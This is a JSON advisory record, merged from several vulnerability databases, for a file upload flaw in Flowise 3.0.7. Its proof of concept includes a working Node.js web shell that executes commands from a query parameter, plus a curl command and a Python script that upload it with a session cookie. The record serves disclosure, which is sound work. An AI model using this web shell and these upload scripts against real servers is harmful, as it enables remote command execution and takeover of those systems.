{"id":"CVE-2025-61687","aliases":["CVE-2025-61687","GHSA-35g6-rrw3-v6xc"],"related":[],"kind":"vulnerability","state":"published","title":"FlowiseAI/Flosise has File Upload vulnerability","summary":"Flowise is a drag & drop user interface to build a customized large language model flow. A file upload vulnerability in version 3.0.7 of FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE). The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered. The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities. This presents a high-severity threat to system integrity and confidentiality. As of time of publication, no known patched versions are available.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Flowise is a drag & drop user interface to build a customized large language model flow. A file upload vulnerability in version 3.0.7 of FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE). The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered. The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities. This presents a high-severity threat to system integrity and confidentiality. As of time of publication, no known patched versions are available.","source":"cvelist"},{"lang":"en","text":"### Summary\nA file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).\n\n### Details\nThe system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.\n\nThe uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.\n\n#### Taint Flow\n\n- **Taint 01: Route Registration**  \n  `POST` file requests are routed to the controller via Multer  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8\n\n- **Taint 02: Multer Settings**  \n  Uploaded files are stored temporarily before further handling  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954\n\n- **Taint 03: Controller**  \n  Receives the file from Multer and delegates to the service  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11\n\n- **Taint 04: Service Layer**  \n  Processes the file and sends results back to controller  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16\n\n- **Taint 05: createFileAttachment**  \n  Extracts metadata, moves file to permanent storage  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126\n\n- **Taint 06: File Save Path**  \n  Creates storage directory and saves file  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541\n\n- **Taint 07: File Filtering**  \n  Filters dangerous characters in file names but does not reject malicious content  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111\n\n### PoC\n\n#### shell.js (Node.js Web Shell)\n```js\nconst { exec } = require('child_process');\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    const url = new URL(req.url, 'http://localhost');\n    const cmd = url.searchParams.get('cmd');\n\n    if (cmd) {\n        console.log(`Executing: ${cmd}`);\n        exec(cmd, (error, stdout, stderr) => {\n            res.writeHead(200, {'Content-Type': 'text/plain'});\n            if (error) {\n                res.end(`Error: ${error.message}\\n${stderr || ''}`);\n            } else {\n                res.end(stdout || 'Command executed successfully');\n            }\n        });\n    } else {\n        res.writeHead(200, {'Content-Type': 'text/html'});\n        res.end(`\n            <h1>Node.js Web Shell</h1>\n            <p>Use ?cmd=command to execute</p>\n            <p>Example: ?cmd=id</p>\n        `);\n    }\n});\n\nconst PORT = 8888;\nserver.listen(PORT, '0.0.0.0', () => {\n    console.log(`Shell running on port ${PORT}`);\n    console.log(`Access: http://localhost:${PORT}?cmd=id`);\n});\n```\n\n#### curl Upload\n```bash\ncurl -X POST \"http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)\" \\\n  -H \"Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0\" \\\n  -F \"files=@shell.js;type=application/javascript\"\n```\n\n#### Python Upload Script\n```python\nimport requests\nimport uuid\n\nTARGET_URL = \"http://localhost:3000\"\nCHATFLOW_ID = \"0237eefc-18c5-46b2-8b3c-97aa516133fc\"\nTOKEN = \"ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0\"\nCHAT_ID = str(uuid.uuid4())\n\ndef upload_shell():\n    url = f\"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}\"\n    headers = {'Cookie': f'jwt={TOKEN}'}\n    files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}\n    r = requests.post(url, headers=headers, files=files)\n\n    if r.status_code == 200:\n        print(\"[✓] Upload success\")\n        print(r.text)\n    else:\n        print(f\"[✗] Upload failed ({r.status_code})\")\n        print(r.text)\n\nif __name__ == \"__main__\":\n    upload_shell()\n```\n\n<img width=\"1900\" height=\"981\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e0d6a11e-445e-447c-a8f3-c0cb0b9ffb3f\" />\n\n\n### Impact\nAn attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Flowise es una interfaz de usuario de arrastrar y soltar para construir un flujo de modelo de lenguaje grande personalizado. Una vulnerabilidad de carga de archivos en la versión 3.0.7 de FlowiseAI permite a los usuarios autenticados cargar archivos arbitrarios sin la validación adecuada. Esto permite a los atacantes almacenar persistentemente web shells maliciosas de Node.js en el servidor, lo que podría conducir a la Ejecución Remota de Código (RCE). El sistema no valida las extensiones de archivo, los tipos MIME o el contenido del archivo durante las cargas. Como resultado, scripts maliciosos como web shells basadas en Node.js pueden ser cargados y almacenados persistentemente en el servidor. Estas shells exponen puntos finales HTTP capaces de ejecutar comandos arbitrarios si se activan. La shell cargada no se ejecuta automáticamente, pero su presencia permite una explotación futura a través de un error del administrador o vulnerabilidades encadenadas. Esto presenta una amenaza de alta gravedad para la integridad y confidencialidad del sistema. Al momento de la publicación, no hay versiones parcheadas conocidas disponibles.","source":"nvd"}],"published":"2025-10-06T15:54:56.166Z","modified":"2026-10-09T10:10:00.193Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","score":8.3,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","score":8.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","score":8.3,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-434"],"affected":[{"ranges":[{"version":"= 3.0.7","status":"affected"}],"vendor":"FlowiseAI","product":"Flowise","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"3.0.7","status":"affected","fixed":"3.0.8"}],"ecosystem":"npm","package":"flowise","purl":"pkg:npm/flowise","source":"ghsa"},{"ranges":[{"status":"affected","version":"3.0.7"}],"vendor":"flowiseai","product":"flowise","cpe":"cpe:2.3:a:flowiseai:flowise:3.0.7:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-35g6-rrw3-v6xc","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61687","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-10-06T16:04:16.923Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-61687","url":"https://www.cve.org/CVERecord?id=CVE-2025-61687","licence":"CVE Terms of Use","modified":"2025-10-06T16:04:25.632Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-35g6-rrw3-v6xc","url":"https://github.com/advisories/GHSA-35g6-rrw3-v6xc","licence":"CC-BY-4.0","modified":"2025-12-16T23:35:36.075Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-61687","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61687","licence":"Public domain","modified":"2026-10-09T10:10:00.193Z"}],"updatedAt":"2026-11-25T22:59:05.568Z","epss":{"score":0.12791,"percentile":0.96373,"date":"2026-12-01T12:00:22.000Z"}}